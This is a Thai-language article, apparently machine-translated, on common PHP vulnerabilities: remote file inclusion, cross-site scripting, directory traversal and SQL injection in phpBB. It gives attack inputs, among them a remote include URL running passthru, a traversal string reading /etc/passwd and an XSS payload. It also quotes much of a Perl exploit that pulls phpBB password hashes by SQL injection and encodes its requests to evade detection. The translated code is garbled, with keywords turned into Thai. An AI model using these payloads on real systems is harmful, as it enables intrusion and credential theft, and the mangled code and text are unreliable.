การวิเคราะห์ช่องโหว่ของหน้า PHP ทั่วไปและการแก้ปัญหาที่เกี่ยวข้อง
ผู้เขียน:Eve Cole
เวลาอัปเดต:2009-06-02 18:07:08
เมื่อพิจารณาจากความปลอดภัยของเครือข่ายในปัจจุบัน ช่องโหว่ของหน้าเว็บที่ทุกคนกังวลและสัมผัสมากที่สุดควรเป็น ASP ในเรื่องนี้ Xiaozhu เป็นผู้เชี่ยวชาญ และฉันไม่ได้พูดอะไรจากมุมมองของ PHP ถือเป็นช่องโหว่ด้านความปลอดภัยที่ร้ายแรงเช่นกัน แต่มีบทความไม่มากนักในส่วนนี้ เราจะมาพูดคุยกันสั้นๆ เกี่ยวกับช่องโหว่ที่เกี่ยวข้องของหน้า PHP
ฉันได้จัดทำบทสรุปของช่องโหว่ PHP ทั่วไปในปัจจุบัน ซึ่งแบ่งออกเป็นหมวดหมู่คร่าวๆ ดังต่อไปนี้: รวมถึงช่องโหว่ของไฟล์, ช่องโหว่ในการเรียกใช้คำสั่งสคริปต์, ช่องโหว่ของไฟล์รั่วไหล, ช่องโหว่ของการแทรก SQL เป็นต้น แน่นอนว่าสำหรับเทคโนโลยีทั่วไปบางอย่าง เช่น การปลอมแปลงคุกกี้ ฉันจะไม่พูดถึงเรื่องนี้ที่นี่ มีข้อมูลมากมายเกี่ยวกับเรื่องนี้ทางออนไลน์ ดังนั้นเรามาวิเคราะห์วิธีใช้ประโยชน์จากช่องโหว่เหล่านี้ทีละรายการ!
ขั้นแรก เรามาพูดถึงช่องโหว่ของไฟล์ที่รวมอยู่กันก่อน ช่องโหว่นี้น่าจะกล่าวได้ว่าไม่ซ้ำกับ PHP เนื่องจากการประมวลผลข้อมูลที่เป็นอันตรายจากภายนอกไม่เพียงพอ ซึ่งทำให้ผู้โจมตีจากระยะไกลสามารถใช้ประโยชน์จากช่องโหว่เหล่านี้เพื่อรันคำสั่งตามอำเภอใจบนระบบด้วยกระบวนการเว็บ การอนุญาต คำสั่ง ลองดูตัวอย่าง: สมมติว่ามีโค้ดดังกล่าวใน a.php:
รวม($รวม"/xxx.php");
-
ในโค้ดนี้ โดยทั่วไป $include จะเป็นเส้นทางที่ถูกตั้งค่าไว้ แต่เราสามารถบรรลุวัตถุประสงค์ของการโจมตีได้ด้วยการสร้างเส้นทางด้วยตัวเอง ตัวอย่างเช่น เราส่ง: a.php?include=http://web/b php เว็บนี้เป็นพื้นที่ที่เราใช้ในการโจมตี แน่นอนว่า b.php คือโค้ดที่เราใช้โจมตี เราสามารถเขียนโค้ดประมาณว่า: passthru("/bin/ls /etc") ในโค้ด b.php ; ด้วยวิธีนี้ คุณสามารถทำการโจมตีอย่างมีจุดมุ่งหมายได้ (หมายเหตุ: เว็บเซิร์ฟเวอร์ไม่ควรรันโค้ด PHP ไม่เช่นนั้นจะเกิดปัญหาขึ้น สำหรับรายละเอียดที่เกี่ยวข้อง คุณสามารถดู << วิธีโจมตีช่องโหว่ทั่วไปในโปรแกรม PHP >> ) ในแง่ของช่องโหว่นี้ มีปัญหามากมาย เช่น หน้าร้าน PayPal
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart และอื่นๆ อีกมากมาย
ต่อไป มาดูช่องโหว่ในการเรียกใช้คำสั่งสคริปต์ เนื่องจากไม่มีการกรองพารามิเตอร์ URI ที่ผู้ใช้ส่งมาอย่างเพียงพอ การส่งข้อมูลที่มีโค้ด HTML ที่เป็นอันตรายอาจทำให้เกิดการโจมตีด้วยสคริปต์ข้ามไซต์ และอาจได้รับข้อมูลที่ละเอียดอ่อนของ ผู้ใช้เป้าหมาย ให้เรายกตัวอย่างด้วย: หน้า index.php ใน PHP Transparent PHP 4.3.1 หรือต่ำกว่า ไม่มีการกรอง PHPSESSID ที่เพียงพอ เราสามารถบรรลุวัตถุประสงค์ของการโจมตีผ่านโค้ดดังกล่าว:
http://web/index.php?PHPSESSID =">ในสคริปต์ เราสามารถสร้างฟังก์ชันเพื่อรับข้อมูลที่ละเอียดอ่อนของผู้ใช้ได้ มีช่องโหว่ค่อนข้างน้อยในเรื่องนี้ นอกเหนือจาก PHP Transparent แล้ว ยังมี: PHP- Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board ฯลฯ
จากนั้น เรามาดูช่องโหว่ในการเปิดเผยไฟล์กัน ช่องโหว่นี้เกิดจากการกรองพารามิเตอร์ที่ผู้ใช้ส่งมาไม่เพียงพอ ผู้โจมตีจากระยะไกลสามารถใช้เพื่อโจมตีไดเรกทอรี่และรับข้อมูลที่ละเอียดอ่อนได้ มาดูตัวอย่าง phpMyAdmin ที่เพิ่งค้นพบกัน ใน phpMyAdmin หน้า Export.php ไม่ได้กรองพารามิเตอร์ 'อะไร' ที่ผู้ใช้ส่งเข้ามาอย่างสมบูรณ์ ผู้โจมตีจากระยะไกลสามารถข้ามสิ่งนี้ได้โดยส่งข้อมูลที่มีอักขระ '../' หลายตัว เอาชนะข้อจำกัดของ WEB ROOT และดูข้อมูลไฟล์ใด ๆ ในระบบที่ได้รับอนุญาตจาก WEB ตัวอย่างเช่นการป้อนที่อยู่ดังกล่าว: export.php?what=../../../../../../etc/passwd%00 สามารถบรรลุวัตถุประสงค์ของการรั่วไหลของไฟล์ได้ ในเรื่องนี้ ค่อนข้างมีมากกว่า: myPHPNuke, McNews ฯลฯ
ในที่สุดเราก็กลับมาที่จุดที่น่าตื่นเต้นที่สุด ลองนึกดูว่าการใช้ SQL insert ในหน้า asp จะสนุกแค่ไหน เมื่อก่อนเราต้องฉีด manual จนกระทั่ง Xiaozhu ค้นพบ "หนังสือลับการแทรก SQL" (อิอิ) และ หลังจากการเปิดตัว NBSI NB Alliance ของเราได้สร้างความแตกต่างอย่างมาก เราได้ช่วยค้นหาช่องโหว่ในเว็บไซต์ขนาดใหญ่ เช่น CSDN, Monopoly Forum และ China Channel (ฉันจะไม่พูดถึงเรื่องไร้สาระไปกว่านี้อีกแล้ว) นอกหัวข้อ...) กลับมาที่หัวข้อกันดีกว่า อันที่จริง SQL injector ใน asp นั้นเหมือนกับ SQL injector ใน php เพียงเล็กน้อย และฟังก์ชันอื่นๆ โดยพื้นฐานแล้ว ไม่มีอะไรเปลี่ยนแปลง จริงๆ แล้วเมื่อทุกคนเห็นการแทรก SQL ใน PHP พวกเขาทุกคนนึกถึง PHP-NUKE และ PHPBB หรือไม่ ใช่ อย่างที่พูดไป คุณสามารถทำคะแนนได้สูงอย่าง Dongwang ราชาแห่งช่องโหว่ในโลก ASP นี่ไม่ได้หมายความว่าความปลอดภัยของฟอรัมนั้นต่ำเกินไป แต่เป็นที่รู้จักมากเกินไป ช่องโหว่ต่างๆ จะถูกค้นพบ เช่นเดียวกับ PHPBB และตอนนี้ผู้คนจำนวนมากใช้ PHP เพื่อสร้างฟอรัม พวกเขามักจะเลือก PHPBB ช่องโหว่ดังกล่าวมักเกิดขึ้นจากช่องโหว่แรกๆ ที่พบในเวอร์ชัน phpBB 1.4.0 ของ phpBB.com ไปจนถึง groupcp.php ล่าสุดในเวอร์ชัน phpBB 2.0.6 เช่นเดียวกับ search.php, profile.php, viewtopic.php ฯลฯ ที่ถูกค้นพบก่อนหน้านี้อาจมีประมาณโหลนี้ มักทำให้มีบางคนใช้เป็นผลิตภัณฑ์ทดลองเมื่อศึกษาช่องโหว่ของ PHP ที่เรียกว่า หลังจากฝึกฝนมาอย่างหนัก ผมเชื่อว่า PHPBB จะดีขึ้นเรื่อยๆ ในอนาคต
เอาล่ะ เรามาวิเคราะห์สาเหตุของช่องโหว่กัน ยกตัวอย่างหน้า viewtopic.php โดยที่ "topic_id" จะได้รับโดยตรงจากคำขอ GET และส่งผ่านไปยังคำสั่ง SQL query โดยไม่ต้องดำเนินการใดๆ การประมวลผลการกรองผู้โจมตีสามารถส่งสตริง SQL พิเศษเพื่อรับรหัสผ่าน MD5 การได้รับข้อมูลรหัสผ่านนี้สามารถนำไปใช้สำหรับการเข้าสู่ระบบอัตโนมัติหรือการถอดรหัสแบบเดรัจฉาน (ฉันไม่คิดว่าจะมีใครอยากทำการแคร็กแบบเดรัจฉานเว้นแต่จะมีเหตุผลที่สำคัญเป็นพิเศษ) มาดูซอร์สโค้ดที่เกี่ยวข้องกันก่อน:
# ถ้า ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
-
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
-
# อื่น ๆ ถ้า ( isset($HTTP_GET_VARS['topic']) )
-
# $topic_id = intval($HTTP_GET_VARS['topic']);
-
จากด้านบน เราจะเห็นว่าหาก send view=newest และ sid ถูกตั้งค่า โค้ดการสืบค้นที่ดำเนินการจะมีลักษณะดังนี้ (หากคุณไม่เห็นซอร์สโค้ด PHPBB ฉันขอแนะนำให้คุณอ่านแล้วมาที่นี่ ดูสิ ระบบที่ได้รับผลกระทบคือ: phpBB 2.0.5 และ phpBB 2.0.4)
# $sql = "เลือก p.post_id
# จาก " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " คุณ
# โดยที่ s.session_id = '$session_id'
# และ u.user_id = s.session_user_id
# และ p.topic_id = $topic_id
# และ p.post_time >= u.user_lastvisit
# สั่งซื้อตาม p.post_time ASC
# จำกัด 1";
Rick ให้รหัสทดสอบต่อไปนี้:
ใช้ IO::ซ็อกเก็ต;
$remote = shift ||. 'localhost';
$view_topic = shift ||. '/phpBB2/viewtopic.php';
$uid = กะ ||. 2;
$ พอร์ต = 80;
$dbtype = 'mysql4'; # mysql4 หรือ pgsql
พิมพ์ "กำลังพยายามรับแฮชรหัสผ่านสำหรับเซิร์ฟเวอร์ uid $uid $remote dbtype: $dbtypen";
$พี = "";
สำหรับ($ดัชนี=1; $ดัชนี<=32; $ดัชนี++)
-
$socket = IO::Socket::INET->ใหม่ (PeerAddr => $remote,
PeerPort => $ พอร์ต,
โปรโต => "tcp",
พิมพ์ => SOCK_STREAM)
หรือ die "ไม่สามารถเชื่อมต่อกับ $remote:$port : $@n ";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . Random_encode(make_dbsql()) .
พิมพ์ $socket $str;
พิมพ์ $socket "Cookie: phpBB2mysql_sid=1n"; # แทนที่สิ่งนี้สำหรับ pgsql หรือลบออก
พิมพ์ $socket "โฮสต์: $remotenn";
ในขณะที่ ($คำตอบ = <$ซ็อกเก็ต>)
-
if ($answer =~ /location:.*x23(d+)/) # ตรงกับตำแหน่ง: viewtopic.php?p=#
-
$p .= ch ();
-
-
ปิด($ซ็อกเก็ต);
-
พิมพ์ "nMD5 แฮชสำหรับ uid $uid คือ $pn";
# การเข้ารหัสแบบสุ่ม str ช่วยหลีกเลี่ยงการตรวจจับ
ย่อย Random_encode
-
$str = กะ;
$ret = "";
สำหรับ($i=0; $i